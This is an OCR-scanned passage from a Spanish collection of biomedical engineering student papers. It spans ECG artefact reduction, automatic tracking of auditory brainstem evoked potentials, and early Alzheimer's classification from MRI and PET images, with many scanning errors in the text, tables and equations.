EMD para reduccién de BW y sefial original con BW. En este caso la sefial
es la seflal 103 de la base de datos de arritmia y el artefacto es simulado. Se
puede comprobar cémo se ha reducido el BW de la sefial inicial.
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T T
ECG tras WT thresholing
ECG con ruido
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Fig. 8. Comparativa entre la sefial obtenida tras la aplicacién del método
WT para reduccién de EMG y sefial original con EMG. En este caso la sefial
es la sefial 103 de la base de datos de arritmia y el artefacto obtenido de la
base de datos de test de estrés (rojo). El resultado (azul) ha sido centrado
sobre una zona del ECG en la que el EMG era presente.

C. Transformada de Wavelet con thresholding

Esta técnica ha sido aplicada sobre una sefial de ECG real
y se le ha afiadido ruido muscular real obtenido de la base
de datos de test de estrés. Para la realizacién de la WT se
ha usado como Wavelet la sefial Daubechies de orden 4 y ha
sido aplicada en 3 iteraciones. En la ilustracién (8) se muestra
como se ha reducido el ruido muscular de la sefial de ECG.

D. Descomposicion empirica en modos para reduccion de
ruido muscular

Para la aplicacién del dltimo de los métodos aqui descritos
se utiliza una seflal real y un ruido muscular simulado
mediante Matlab. La sefal ha sido descompuesta en 12 IMFs
y las ventanas de Blackman-Tukey han sido aplicadas a los 5
primeros IMFs. El resultado de la aplicacion de este método
se observa en la ilustracion (9).

VIII. CONCLUSIONES Y VIAS FUTURAS

Con respecto a los métodos aplicados para la reduccion
de cada artefacto, si bien todos no han podido ser descritos
en este articulo, se ha podido comprobar que cumplen con el
objetivo de reducir o eliminarlos por completo. Para el caso de
la eliminacién del PLE, al ser un artefacto de caracteristicas
muy definidas, técnicas de filtrado simple son suficientes. En
referencia al ruido de BW considero que la aplicacién de
métodos que estimen la contribuciéon del BW a la sefal y
su posterior substraccidon, es mas aconsejable que los métodos
de filtrado ya que pueden eliminar componentes de frecuencia
de interés de la sefial de ECG. Por ultimo para la reduccién
de EMG, teniendo en cuenta la dificultad que presenta este
artefacto, cualquiera de las técnicas aplicadas cumple con el
objetivo. Personalmente, ha sido un trabajo muy gratificante
en el que se han aplicado conceptos obtenidos a lo largo del
grado a aplicaciones médicas donde gran parte de la poblacién
puede verse beneficiada.

Como vias futuras se puede destacar la aplicacioén de nuevos
métodos, el cdlculo de nuevos factores que indiquen la calidad
del filtrado, o incluso, la aplicacién de estos métodos en
tiempo real.

T T
ECG reconstruido
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Fig. 9. Comparativa entre la sefial obtenida tras la aplicacién del método
EMD para reduccién de EMG vy seifial original con EMG. En este caso la
sefial es la sefial 103 de la base de datos de arritmia (rojo) y el artefacto es
generado mediante Matlab. El resultado (azul) ha sido centrado sobre una
zona del ECG en la que el EMG era presente.
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Resumen—Los potenciales evocados auditivos del tronco
cerebral son una herramienta de evaluacion objetiva de la
audicion ampliamente utilizada en hospitales y clinicas a nivel
internacional. El uso de métodos automaticos favorece la
evaluacién y detecciéon de pardmetros caracteristicos que puede
ayudar a un diagnostico muy preciso. Este articulo presenta un
método de seguimiento de respuestas evocadas auditivas
mediante parametrizacion de series de registros (SSP). El método
estd basado en el proceso que sigue un experto en la evaluacion
subjetiva de un registro. Este método es validado con la
realizacion de dos experimentos. En el primero, se observan los
resultados para series de registros sintetizadas artificialmente. El
segundo evalta transformaciones en la morfologia de series de
registros reales. Estas series de registros se adquirieron en una
fase previa experimental. Los resultados de este trabajo indican
gue el método parametriza de forma precisa los parametros de
latencia, compresion y amplitud. Por tanto, podria utilizarse
para evaluar la calidad y detectar de forma automética la
presencia de respuesta biologica.

Palabras clave—Tronco cerebral, PEAT, método automatico,
evaluacién, deteccién

I. INTRODUCCION

Los potenciales evocados auditivos del tronco cerebral
(PEAT) son la respuesta neuroeléctrica que produce el
nervio auditivo frente a un estimulo sonoro [1]. La naturaleza
no invasiva del proceso de registro de estas sefiales ha
favorecido su uso. Su utilizacion se extiende por (a) el &mbito
clinico, donde se usa como herramienta para la deteccion de
déficits auditivos y (b) la investigacion, en donde se utilizan
para analizar mecanismos involucrados en el proceso auditivo.
Los PEAT aparecen durante los 10 ms posteriores a una
estimulacién acustica [2]. Se pueden observar una serie de
ondas que son denominadas por letras romanas [3]. Aunque se
pueden identificar hasta 7 ondas, los picos 11 y V son los méas
robustos.

La calidad del registro depende de la probabilidad de la
existencia de una respuesta de origen bioldgico: Un registro
de mayor calidad permitird obtener resultados mas
concluyentes. Esta evaluacion se puede realizar de manera
subjetiva (por parte de un experto) u objetiva (por
procedimientos automaticos). Los métodos  automaticos
proporcionan la evaluacién uniforme, sin estar sujetos a la
variabilidad asociada a las evaluaciones subjetivas [4], las

cuales se ponen de manifiesto en este estudio. Los métodos de
evaluacion automética de la calidad (a) permiten mejorar el
proceso de registro al detener la adquisicion cuando la calidad
sea suficiente; y (b) se unifica el protocolo de obtencién y
evaluacién. Existen varios métodos de evaluacion automatica
de la calidad. Entre ellos podemos destacar el basado en el
coeficiente de correlacion (r) y la estimacion de la SNR
utilizando un Unico punto (Fsp). EI método del coeficiente de
correlacion se basa en la reproducibilidad de dos registros
PEAT consecutivos obtenidos de forma similar para
determinar la presencia/ausencia de respuesta bioldgica [5]. El
método Fsp estima la calidad del registro teniendo en cuenta la
energia de la sefial y la variabilidad de un Unico punto [6].

Este proyecto presenta un nuevo método de seguimiento de
respuestas evocadas auditivas mediante Parametrizacion de
Series de Registros (Set of Signal Parametrization, SSP). Este
método esta basado en el proceso que sigue un experto para la
evaluacion de un registro. Analiza las transformaciones en la
morfologia de los PEAT registrados en diferentes condiciones
de registro. EI método SSP podria tener aplicaciones en la
evaluacion de la calidad de los registros y en la deteccidon de la
existencia de respuesta de origen bioldgico. Resultados
preliminares de este trabajo se presentaron en el congreso
International Evoked Response Audiometry Study Group
(IERASG), Nueva Orleans (Junio 2013). También se presentd
en el 6° Simposio CEA de Bioingenieria 2014 — Asociacion
Nicolo, Granada (Junio 2014).

Il. DESCRIPCION DEL METODO

A pesar de la contrastada utilidad de los métodos objetivos,
a dia de hoy, deben utilizarse como herramienta de unificacion
de la evaluacion de un profesional a otro.

Ejemplos de estos métodos subjetivos pueden ser la
replicacion de respuesta, la evaluacion por parte de un grupo
de profesionales y el seguimiento de respuesta. Este ultimo se
basa en observar los cambios que se producen en la respuesta
al modificar el estimulo (intensidad o tasa de estimulacion).
Para una variacion de la intensidad se produce un
desplazamiento en latencia y amplitud comin a todas las
ondas caracteristicas. Por otro lado, para una variacién de la
tasa de estimulacién este cambio se produce de manera mas
abrupta para las componentes mas centrales. El
comportamiento esperado para una variacion en la intensidad
de estimulacion esta cominmente aceptado [1]. Sin embargo,
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los cambios en la morfologia frente a una variacion en la tasa
de estimulacion presentan cierta controversia. Recientes
estudios [7-8] y este mismo estudio, presentan resultados que
soportan este comportamiento.

La labor del experto consiste en la determinacién de la
presencia o ausencia de respuesta neuronal al estimulo
acustico. Para ello, una estrategia comin consiste en la
realizacion de un seguimiento de las respuestas auditivas
frente a la variacion de algun parametro de estimulacion.

Se presenta a continuacion el método automatico SSP, cuyo
funcionamiento se aproxima a la forma en la que un experto
realiza la evaluacion subjetiva.

A. Método de parametrizacidn de series de registros (SSP)

Se parte de la obtencidn de una serie de registros. Esa serie
de PEAT habrd sido adquirida variando alguno de los
pardmetros de estimulacion (intensidad y tasa). De la misma
forma que lo haria un experto al realizar un seguimiento de
respuesta, el primer paso es establecer cual sera el registro de
referencia (Xrer). Xrer Serd aquel en el que la identificacion de
las ondas caracteristicas sea inmediata. En el caso de variacion
de la intensidad de estimulacidn, por ejemplo, sera aquel que
fue registrado al estimular con la intensidad mas alta. El resto
de registros de la serie son considerados registros de test
(Xtest)-

Segun el tipo de estimulacion, como se ha mencionado
anteriormente, se espera un comportamiento. Al disminuir la
intensidad de estimulacidon cada uno de 10S Xest Sera una
version desplazada y atenuada de xrer. En el caso de la
variacion de la tasa, cada XtwstSerd una version expandida y
atenuada de xrer. EI método realiza una parametrizacion de la
serie de registros de forma secuencial, ajustando de forma
Optima cada xtwsta xref. Es decir, se busca encontrar qué
factores de compresion/expansion (o), desplazamiento
temporal (8) y factor de amplitud (A) consigue que la
diferencia entre Xwesty XretSea minima. De esta forma se mide
las diferencias entre los registros. Matematicamente, la
funcion seria de la forma:

Xea (A5, )=(Ax (22 &
O

El método debe realizar esta busqueda tridimensional. Para
ahorrar carga de computacién, esa busqueda se reduce a una
basqueda unidimensional. En primer lugar, se realizard un
barrido en compresion/expansion, para cada uno de ellos se
calcularan los desplazamientos temporales y factor de
amplitud y aquel que devuelva el minimo error entre la sefial
de test y la de referencia sera la parametrizacion deseada. Ese
minimo se cuantifica con ayuda del célculo del coeficiente de
determinacion (R?). El coeficiente de determinacion mide la
bondad del ajuste de un modelo sobre unos datos
experimentales. En el caso del método SSP: el modelo son las
sefiales de test y se quiere cuantificar como de bien se ajusta a
los datos experimentales (sefial de referencia). La Fig.1
presenta un esquema general del procedimiento.

) e
5 Xest (1) -» O = 6 - A _
by Xeest (2) - 0 -9 -» A —
= Xtest (3) - O - 6 - A —_

—)Xtmr(n)—) o - 0 - A ]

Fig.1. Esquema general del procedimiento del método SSP. (a) Céalculo del
factor de compresidn/expansion (b) Calculo del desplazamiento temporal (c)
Célculo del factor de amplitud (d) Calculo del coeficiente de determinacion
entre xref y la correspondiente xtest

I1l. EVALUACION DEL METODO

Para validar el rendimiento del método descrito en este
proyecto se realizaron dos experimentos. En el
experimento 1, se sintetizaron de forma artificial series de
registros que emulasen el comportamiento de los PEAT para
diferentes estimulaciones y se observd si el método era
sensible a los cambios producidos. En el experimento 2, se
realizé la evaluacion del método con registros reales. En esta
seccion se presenta el proceso de adquisicion de los registros
y los resultados obtenidos en cada uno de los experimentos.

A. Registro EEG y procesado de sefial.

El proceso de obtencién de EEG consiste en estimular el
sistema auditivo de un sujeto y registrar su respuesta eléctrica
asociada. Los registros se tomaron en una sala minimizando
las condiciones de ruido electromagnético. Se propuso que los
sujetos se acomodaran para reducir el ruido miogénico. Se
estableci6 el nivel 0 dBnHL (nivel en el que el estimulo es
detectable) considerando el umbral de audicién en un grupo de
24 personas (20 varones, 4 mujeres) con edades entre 14-57
afios sin problemas auditivos. Se registraron los PEAT (a)
variando la intensidad del estimulo y (b) variando la tasa de
estimulacion utilizando la técnica RSA [7]. La calibracion de
los niveles de intensidad se realizo usando una “Artificial
EarType 4153” (Briel &Kjer Sound & Vibration
Measurement A/S, Narum, Denmark). Los EEG se
registraron usando tres electrodos de superficie (positivo,
tierra y referencia) colocados en la piel. Se situaron en la
frente (cercano al pelo), en la parte baja de la frente y en la
mastoide respectivamente. EI EEG fue amplificado y después
filtrado. La sefial se muestre6 a 25 KHz y fue cuantificada con
16 bits para su almacenamiento. El procesamiento de datos se
realiz6 utilizando algoritmos implementados en MATLAB. Se
puede encontrar una descripcion mas detallada del sistema de
registro en [9]. Todos los sujetos registrados fueron
voluntarios y se les informd detenidamente del protocolo. La
Fig.2 muestra las series adquiridas variando la intensidad de
estimulacion.
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Fig. 2. Series de registros obtenidas variando la intensidad de estimulacion.
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B. Experimento 1

Sujetos y métodos

Este experimento evalla la eficacia del seguimiento
automatico de los cambios en las respuestas mediante el
método SSP. Se sintetizaron distintas series de registros en las
que se modificé un parametro de forma conocida (latencia,
amplitud, compresion) de la sefial y se comparé con el
resultado parametrizado por el método. Las series de registros
se sintetizaron a partir de uno de los registros reales
adquiridos. Una vez seleccionado un registro de referencia, se
le modifico (a) la latencia-amplitud y (b) la compresion-
amplitud. Los valores de sintetizado se eligieron en base a la
bibliografia existente [10].

Resultados

Para facilitar el proceso y obtener resultados mas
concluyentes se fijo el factor de compresion a uno para la
evaluacion de la serie sintetizada latencia-amplitud y el
desplazamiento igual a cero para la sintetizada
compresion/expansion-amplitud. Las Tablas | y Il muestran
que el coeficiente de determinacion (R?) es igual a la unidad,
lo cual indica que el modelo se ajusté perfectamente a los
datos experimentales. Es decir, que el ajuste de la sefial de test
con la sefial de referencia fue éptimo. La diferencia entre los
valores impuestos y los medidos de forma automatica es igual
a cero.

C. Experimento 2

Sujetos y métodos

Para llevar a cabo la experimentacién con registros reales se
realiz6 la adquisicion para un total de 24 sujetos. Para cubrir
los dos tipos de estimulacion, de estos 24 sujetos, 12 fueron
estimulados realizando una variacion en la intensidad de
estimulacién y 12 realizando una variaciéon en la tasa de
estimulacién. Los sujetos fueron 9 varones y 3 mujeres con
edades comprendidas entre los 15 y los 60 afios para el caso
de barrido en intensidad; para el caso de variacion en tasa de
estimulacién la muestra fue de 11 varones y 1 mujer con
edades entre los 24-60 afios. Ninguno de los sujetos sufria
alguna anomalia auditiva detectada. Para intensidad, se realiz6
un barrido desde 0 a 80 dBnHL en pasos de cinco dB con
estimulacién convencional, tomando el registro de 80 dBnHL
como Xref. En segundo lugar, para distintas tasas se variaron
desde los 55 a los 250 Hz usando la técnica de Randomized
Stimulation Averaging (RSA) [7].Esta técnica nos permite
registrar los PEAT a altas tasas de estimulaciéon usando
estimulo con jitter . El jitter de una secuencia de estimulacién
mide la cantidad de dispersion del intervalo interestimulo
(distancia temporal entre dos pulsos) en comparacién con la
presentacion periddica. En este estudio se generaron
secuencias con 4 ms de jitter. Xrer Se determind como el
registro de 55 Hz. Ademé&s se registraron dos series de
registros sin estimulacion. En este caso el sistema de
adquisicion registraba el EEG del sujeto sin ser estimulado
acusticamente. En total, el ndmero de PEAT utilizados
ascendié a un total de 304 (12 sujetos a 16 intensidades cada
uno, 12 sujetos a 8 tasas diferentes cada sujeto y 2 sujetos con
8 registros sin estimulacién cada uno).

TABLAI

Pardmetros medidos por el método SSP para una sefial sintetizada (latencia-
amplitud). Se muestra el coeficiente de determinacion, la latencia de la onda
V, el factor de compresion o y amplitud con respecto a la sefial de referencia
xrefy la diferencia entre los valores impuestos y los medidos por el método.

Intensidad  R? B A | Ad AA

(dBnHL) (ms)
75 1 028 11 0 0
70 1 0,36 1,15 0 0
65 1 04 125 0 0
60 1 048 15 0 0
55 1 0,64 2 0 0
50 1 0,76 22 0 0
45 1 096 25 0 0
40 1 112 3 0 0
35 1 136 34 0 0
30 1 164 3,8 0 0
25 1 196 4.2 0 0
20 1 2,32 46 0 0
15 1 2,72 5 0 0
10 1 316 7 0 0
5 1 348 10 0 0

TABLAII

Parametros medidos por el método SSP para una sefial sintetizada
(compresion-amplitud). Se muestran el coeficiente de determinacion, la
latencia de la onda V, el factor de compresion ¢ y amplitud con respecto a la
sefial de referencia x.s y la diferencia entre los valores impuestos y los
medidos por el método.

Tasa
(Hz)

55 0,999 0,980 1,10 0 4,0e-3
71 0,999 0,950 1,15( 0 5,6e-3

83 0,999 0,919 125|2e-4 5,8e-3

100 0,999 0,899 1,50 |2e-4 7,1e-3
125 0,998 0,879 2,01 |2e-4 0,1032
167 099 0850 221| 0O 0,0117

250 0,995 0,819 2,51 2e-4 0,0146
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De cada grupo de 12 participantes, se utilizaron 8 para
entrenamiento del método y 4 para la evaluaciéon. El
entrenamiento consistio en medir de forma manual los valores
de latencia de la onda V, la amplitud interpico (distancia entre
la amplitud de la onda V y su valle) de la misma y la distancia
entre las ondas 111 'y V. De esta forma, se elaboré un vector de
promedio/desviacion tipica que permitié tener en cuenta las
posibles variaciones de latencia que pudiese haber entre
sujetos sin llegar a incluir ondas adyacentes o erréneas. Los
resultados de estos vectores son consistentes con la
bibliografia [8]. En concreto, como se puede observar en la
Fig.3 los resultados obtenidos para el entrenamiento de los
registros adquiridos variando la tasa de estimulacién apoya el
comportamiento esperado. La distancia de las ondas IlI-V
aumenta conforme lo hace la tasa de estimulacion [7-8].
Finalmente se procesaron los registros de evaluacion con el
método SSP.
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Fig. 3.Distancia de las ondas IllI-V para una variacion de la tasa de
estimulacion.

Resultados

En este experimento, el método SSP es evaluado procesando
series de registros reales. Las Tablas Il y IV muestran los
resultados.

En registros donde se ha variado la intensidad de
estimulacién, se espera observar un aumento de la latencia de
laonda V y una reduccion de la amplitud de la sefial. La Tabla
Il muestra este comportamiento, ya que el factor de
desplazamiento (8) y el de amplitud (A) aumentan conforme
disminuye la intensidad de estimulacion.

En el caso de registros en los que se ha variado la tasa de
estimulacién, el comportamiento esperado consiste en un
aumento en la distancia de las ondas I11-V (expansién de la
sefial) y una atenuacién de las ondas caracteristicas. La Tabla
IV muestra que se cumple este comportamiento y para mayor
tasa de estimulacion el factor de compresion es menor. Un
factor de compresién menor se traduce en que la sefial de test
debe ser mas comprimida para ajustarse con la de referencia.

Ademas se demuestra la utilidad del coeficiente de
determinacion. Siempre que no supere un umbral a
determinar, los valores parametrizados no tendran ningun tipo
de valor. La calidad del ajuste se ve deteriorada conforme el
coeficiente de determinacion disminuye. De ahi la importancia
de una correcta determinacién del umbral. En este proyecto, se
determindé un umbral de forma experimental, fijando
estevaloren0,64.
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TABLA Il

Parametros de latencia y amplitud con respecto a X, medidos por el método
SSP de forma automatica para series de registros reales (Intensidad).

Intensidad R? B A

(dBnHL) (ms)
75 0,857 0,04 1,04
70 0,821 0,08 1,05
65 0,864 0,04 1,03
60 0,811 012 1,19
55 0,759 0,28 1,55
50 0,708 032 134
45 0,601 052 1,89
40 0,762 0,68 1,63
35 0,727 096 1,57
30 0,484 1,00 2,01
25 0,264 1,32 3,69
20 0,415 1,84 2,19
15 0,362 2,36 2,05
10 0,040 3,24 885
5 0,191 3,36 4,52

TABLA IV

Parametros de latencia, factor de compresion y amplitud con respecto a Xrer
medidos por el método SSP de forma automatica para series de registros
reales (Tasa).

Tasa R? c A
(Hz)
55 0,807 0,980 1,42

71 0779 0976 150

83 0558 0,973 0,64

100 0,713 0939 1,40

125 0,720 0,943 2,05

167 0453 0920 192

250 0422 0872 343
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IV. DISCUSION Y CONCLUSIONES

Este proyecto presentd un método automatico de
seguimiento de respuestas evocadas auditivas mediante
parametrizacion de series de registros  (Set of
SignalParametrization, SSP). EI método intenta aproximar el
proceso que sigue un experto en la evaluacion de una serie de
registro. Este proceso consiste en realizar un seguimiento de
los cambios que sufre un registro al realizar una modificacion
en la intensidad o tasa de estimulacion. Las ventajas del uso
de métodos automaticos para la evaluacidn de la calidad de los
PEAT vya fue demostrada por Arnold [4]. El uso de métodos
automaticos nos permite: en primer lugar, mejorar el proceso
de adquisicién, deteniéndolo cuando tenga una calidad
suficiente y en segundo lugar, unificar el protocolo. Este
articulo describe y evalua el rendimiento del método SSP con
la realizacion de dos experimentos. En el primero, se observan
los resultados obtenidos para series de registros sintetizadas
con valores conocidos; en el segundo de los experimentos, se
realiza el mismo procedimiento para series de registros reales.
En este trabajo se ha realizado la adquisicion de registros
ABR reales a varias intensidades y tasas de estimulacién.

Los resultados indican que el método parametriza
automaticamente de forma precisa las transformaciones en la
morfologia que experimentan los PEAT frente a una variacion
en algin parametro de la estimulaciéon. Ademas, al entrenar el
método se demostrd el significado y necesidad de un factor de
compresion asociado al comportamiento de los registros
adquiridos variando la tasa de estimulacion.

Una posible aplicacion préactica de este método puede ser la
evaluacion de manera automaética la calidad de los registros y
la deteccion de la existencia de respuesta de origen bioldgico.
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Resumen— En el presente proyecto se implementa un sistema
formado por varios clasificadores y dos tipos de neuroimagen:
iméagenes de resonancia magnética y tomografia de emision de
positrones (PET), con el objetivo de integrar este sistemaen un
entorno de Diagnostico Asistido por Ordenador (CAD) para la
deteccion precoz de la enfermedad de Alzheimer.

Para ello se cuenta con un atlas regional de 116 regiones
cerebrales y un pre-procesamiento previo de las imagenes.

La técnica de clasificacion usada es MLDA (Enfoque basado

en LDA de méaxima incertidumbre), y como método estadistico
para la seleccién de caracteristicas el método t-test.
Se busca variar distintos parametros del sistema para obtener
los mejores valores de sensibilidad, especificidad y precision en
la clasificacion de cualquier sujeto en dos grupos: sujetos sanos
o0 de control (NC) y pacientes enfermos (AD).

Finalmente se propone la clasificacion de sujetos con
deterioro cognitivo leve (MCI), obteniendo resultados
prometedores.

Palabras clave— Area Bajo la Curva, Clasificador,
Diagndstico Asistido por Ordenador, Enfermedad de Alzheimer,
LDA, Materia Blanca, Materia Gris, MLDA, PET, Regién De
Interés, RM.

I. INTRODUCCION Y MOTIVACION

L a enfermedad de Alzheimer (EA) es la demencia

neurodegenerativa mas frecuente y un creciente problema
de salud, puesto que aproximadamente el 50-60 % de los
pacientes con demencia se estima que padecen la enfermedad
[1]. El diagnostico definitivo de esta enfermedad tan sélo
puede hacerse post mortem y requiere la confirmacion
histopatologica de las placas amiloides y los ovillos
neurofibrilares. El diagnéstico temprano y preciso de la
enfermedad no es sélo dificil, sino ademas crucial en la
perspectiva de futuros tratamientos. Puesto que, actualmente,
no se ha encontrado soluciones terapéuticas altamente
efectivas para curar la enfermedad (ni tan sélo una posible
vacuna), se propusieron, afios atras, abrir una gran variedad
de lineas de investigacion para encontrar algin sistema que,
mediante el procesamiento computarizado de neuroimagenes
o sistemas de diagnostico basado en computador, CAD (Fig.
1), pueda clasificar a un determinado paciente en varios

grupos: sujetos sanos o de control, sujetos con Alzheimer,
sujeto con leve deterioro cognitivo, etc., por lo que es crucial
encontrar un biomarcador valido y objetivo para distinguir
pacientes con EA de etapa temprana de controles sanos [2].

Las técnicas de aprendizaje automatico y clasificacion de
patrones vienen desempefiado un papel importante en la
exploracién de las diferencias cerebrales entre pacientes con
EA y controles sanos, mediante la comparacion de niveles de
intensidad de los distintos voxels de cada imagen. Numerosos
estudios han demostrado que estas técnicas, en combinacién
con datos de varias modalidades de neuroimagen, como la
estructural y funcional, son Utiles para la busqueda de dichos
biomarcadores para la EA.

De este modo, a través del desarrollo de un clasificador de
patrones que garantice una alta fiabilidad, mediante valores
de sensibilidad, especificidad y precision igual o cercanos al
100%, se podria llevar a cabo un diagnostico altamente
precoz a través del procesamiento de neuroimagenes,
previamente tomadas al paciente, en fases de la enfermedad
donde ni siquiera se padecen sintomas alarmantes y en
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Fig. 1. Diagrama de bloques de un sistema CAD.

momentos donde el médico especialista todavia no le es
posible percatarse de cualquier indicio de la enfermedad.
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Il. OBJETIVOS

El objetivo fundamental que se persigue es el diagndstico
precoz de la enfermedad de Alzhéimer proponiendo un
sistema de multiclasificacion multimodal mediante el uso de
varios clasificadores y varios tipos de imagenes diagnoésticas:
imagenes de resonancia magnética (MRI) e imagen de
tomografia de emisién de positrones (PET) en un mismo
sistema. Para ello, se realizan fundamentalmente dos tareas:
En primer lugar, la obtencién de mapas regionales donde se
destaquen las diferencias de las distintas regiones segln la
afectacién de la enfermedad y sus diferencias en cuanto a
intensidad de voxels entre grupos sanos y grupos enfermos, y
en segundo lugar encontrar los distintos pardmetros 6ptimos
que garanticen los mejores resultados de rendimiento en la
clasificacion de un sujeto desconocido en ambos grupos: AD
y NOR.

IIl. DESCRIPCION DEL SISTEMA

El proyecto se centra principalmente en tres etapas del
sistema CAD: extraccion de caracteristicas, seleccion de
caracteristicas y clasificacién. Previo a estas etapas, se
dispone de una base de datos de tres grupos de poblaciones,

TABLAI
BASE DE DATOSPROPORCIONADA POR ADNI

Grupo N° sujetos Sexo Edad MMSE

M/F media/std. media/std.
NC 68 43725 78.81/4.93 | 29.06/1.08
MCI 111 76/35 76.39/6.96 | 26.68/2.16
AD 70 46124 75.33/7.17 | 22.84/2.91

previamente etiquetadas, para el entrenamiento de los

clasificadores.

A. Base de datos.

La base de datos con las distintas imagenes
correspondientes a sujetos de las distintas poblaciones son
proporcionadas por la iniciativa ADNI. En la Tabla | se
muestran las caracteristicas de las tres poblaciones usadas:
NC (Grupo sano o de control), MCI (pacientes con deterioro
cognitivo leve) y AD (pacientes enfermos de Alzheimer).

B. Extraccion de caracteristicas.
El sistema parte de dichas imagenes pre-procesadas y

Fig. 2. Cerebro parcelado en 116 regiones mediante el atlas.

ROI

segmentadas tanto en materia gris como en materia blanca.
Para cada imagen, se parcela el cerebro en distintas regiones
usando para ello un atlas anatémico de 116 regiones (Fig.2).
Posteriormente se calcula tanto la media como la desviacion
estandar del conjunto de intensidades de los vixels que
componen cada regién, denominada regién de interés (ROI),
y se almacenan los distintos resultados numéricos en forma
de matriz constituyendo el llamado espacio de medidas.
Cada valor cuantitativo correspondiente a cada regién se
denomina caracteristica.

C. Seleccionde caracteristicas.

Una vez se extraen y se almacenan las 116 caracteristicas
correspondientes a las distintas regiones, se deben de
seleccionar aquellas que aporten mayor informacién sobre la
afectacion de la enfermedad para mejorar las prestaciones del
clasificador y aumentar su eficiencia.

Para dicha tarea, se recurre al método estadistico t-test [3]
que compara el valor de cada caracteristica, para una region
dada, de dos sujetos de ambos grupos. El resultado del test se
calcula mediante la expresién:

Y, -7,
= — 2 1)

1

siendo N;, el tamafio de las muestras, Y3, ¥, las medias
de las muestras y s2, s las varianzas de las muestras.

Mediante el nivel de significacion, a, se controla el namero
de caracteristicas que el método asume como suficientemente
discriminatorias como para rechazar la hipétesis nula:

HO: Ui =u )

D. Clasificacién

Con el fin de evitar problemas de singularidad e
inestabilidad de la matriz de dispersién dentro de la clase,

S, .cuando se usa el algoritmo discriminante lineal (LDA)

con muestras limitadas y problemas dimensionales altos, se
ha decidido usar un nuevo enfoque basado en LDA (MLDA)
[4]. Dicho algoritmo consiste en calcular la matriz de

dispersién dentro de la clase modificada, S,,. EI LDA de
méaxima incertidumbre se construye mediante la sustitucién
de S, por S, enla férmula del criterio de Fisher:

} w'swl

V\/.da=argmaX—| — |=SW w-m) O
w |W SWW|

dando lugar a la matriz de proyeccién que proyecta el

espacio de muestras multidimensional X al espacio
unidimensional Yy para facilitar la separabilidad de ambos

grupos y calculo del umbral de decision:

Yy = WX )
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Fig. 3. Diagrama de bloques del sistema propuesto

E. Rendimiento del Sistema.

Para calcular el rendimiento del sistema se utiliza la técnica
Leave-one-out cross validation (LOOCV), donde se escoge
un sujeto de la base de datos para test, dejando los restantes
para el entrenamiento del clasificador.

Una vez se calcula el umbral de decision del clasificador,
dicho elemento se utiliza para comparar si la prediccién de la
clase obtenida mediante la comparacion de su
correspondiente valor, en el espacio unidimensional, con el
valor del umbral coincide con la etiqueta original. Dicho
procedimiento se repite para los N elementos de la base de
datos con el objetivo de garantizar fiabilidad al método y
eliminar posibles dependencias con el sujeto escogido.

F. Funcionamiento del Sistema.

En la Fig.3 se muestra el funcionamiento bésico del
sistema multiclasificador. Como se puede apreciar, se
utilizan distintos clasificadores MLDA para cada modalidad
de imagen: Materia Gris (GM), Materia Blanca (WM) y
PET.

En primer lugar, se seleccionan los N-1sujetos de la base
de datos para el entrenamiento dejando uno fuera, con objeto
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de evaluar posteriormente el sistema. Posteriormente, para
cada clasificador se vuelve a realizar la técnica LOOCV, de
modo que se emplean N-2 sujetos para el entrenamiento de
cada clasificador. Una vez calculado el umbral de decision
de cada clasificador, se emplea el sujeto que ha quedado
fuera para el céalculo de la sensibilidad, especificidad y
precision de cada uno de ellos.

En el momento en el que se haya realizado las diversas
iteraciones y se hayan obtenido los diferentes valores de
precision de cada clasificador, estdn en disposicion para
realizar la prediccion de la etiqueta de la clase que estima
cada uno para el sujeto de test que quedd fuera en primera
instancia, de manera que la decisién final de dicha etiqueta
se realiza mediante eleccién por voto, estableciendo pesos a
cada clasificador en funcién del valor de precision de cada
uno de ellos:

F(x.)=sign[i(wkﬁ(xr»} ®)

donde se escoge el signo del producto escalar entre el
vector de los valores de la precision de cada clasificador y el
vector de las etiquetas que cada uno predice mediante la
comparacion de sus respectivos umbrales: “-1” sujeto
enfermo o “+1” sujeto sano. Asi, cada clasificador
contribuye a la decision final, en mayor o menor medida, en
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funcién de la tasa de acierto obtenida en el LOOCV de sus
respectivas pruebas.

Repitiendo el procedimiento para todos los sujetos de la
base de datos, se obtiene finalmente las predicciones de las
etiquetas de los N sujetos, pudiéndolos comparar con las
etiquetas originales y calcular asi los valores de rendimiento
global del sistema multiclasificador.

IV. EXPERIMENTOS Y RESULTADOS

A. Trabajandocon la media como caracteristica.

En primer lugar se pone en marcha el sistema y se extrae s6lo
la media de las distintas regiones como caracteristica. En el
método t-test se suele trabajar por defecto con un nivel de
significacion de 0=0,05 en la etapa de seleccién de
caracteristicas. Para dicho valor, se obtienen valores de
rendimiento del sistema global de 80,00%, 91,12% y 85,51%
de sensibilidad, especificidad y precisién respectivamente.
Sin embargo, éstos no son los valores mas altos que se
pueden obtener, ya que para a=0,01 se obtienen valores de
81,43%, 91,12% vy 86,23% respectivamente, aumentando la
sensibilidad y reduciendo sustancialmente el ndmero de
caracteristicas seleccionadas.

En la Tabla 1l se pueden apreciar cdmo afecta al rendimiento
del multiclasificador el trabajar con uno o varios
clasificadores. Se puede destacar la poca aportacion que
supone trabajar s6lo con la modalidad de materia blanca en la
tarea de clasificacion, arrojando tan sélo un 69,57% de
precision incluso para dicho valor de o 6ptimo, lo que
implica no solo un aporte de poca informacién sobre las

TABLAII
VALORES DE RENDIMIENTO DEL MULTICLASIFICADOR, MODIFICANDO EL
NUMERO Y LAS DISTINTAS MODALIDADES DE CLASIFICADORES MLDA,
PARAEL VALORDE ¢ OPTIMO ( @ =0,01)

Modalidad de Sensibilidad | Especificidad | Precision
imagen

MRI (GM) 82,86% 83,82% 83,33%

MRI(WM) 65,71% 73,53% 69,57%

MRI (GM+WM) 82,86% 83,82% 83,33%

PET 80,00% 91,12% 85,55%

PET +MRI(GM) 80,00% 88,24% 84,06%

PET+MRI(WM) 80,00% 91,12% 85,55%

PET +MRI(GM+WM) 81,43% 91,12% 86,23%

regiones afectadas , sino que apenas tiene poder de decisién
en el voto. Sin embargo, se demuestra que es positivo el
trabajar con todas las modalidades conjuntamente,
obteniendo una precisién maxima de 86,23%.

En cuanto a las regiones mas discriminatorias seleccionadas
por el método estadistico, se obtienen diferentes resultados en
el test para cada modalidad. Para materia gris (Fig.4),
destacan las regiones como hipocampo derecho (t=-10,301),
temporal inferior derecho (t=-9,368), amigdala derecha (t=-
9,353) 0 hipocampo izquierdo (t=-8,989). Para materia blanca
(Fig.5), tan solo se obtienen los resultados mas altos en el
hipocampo derecho (t=-5,379) e hipocampo izquierdo (t=-
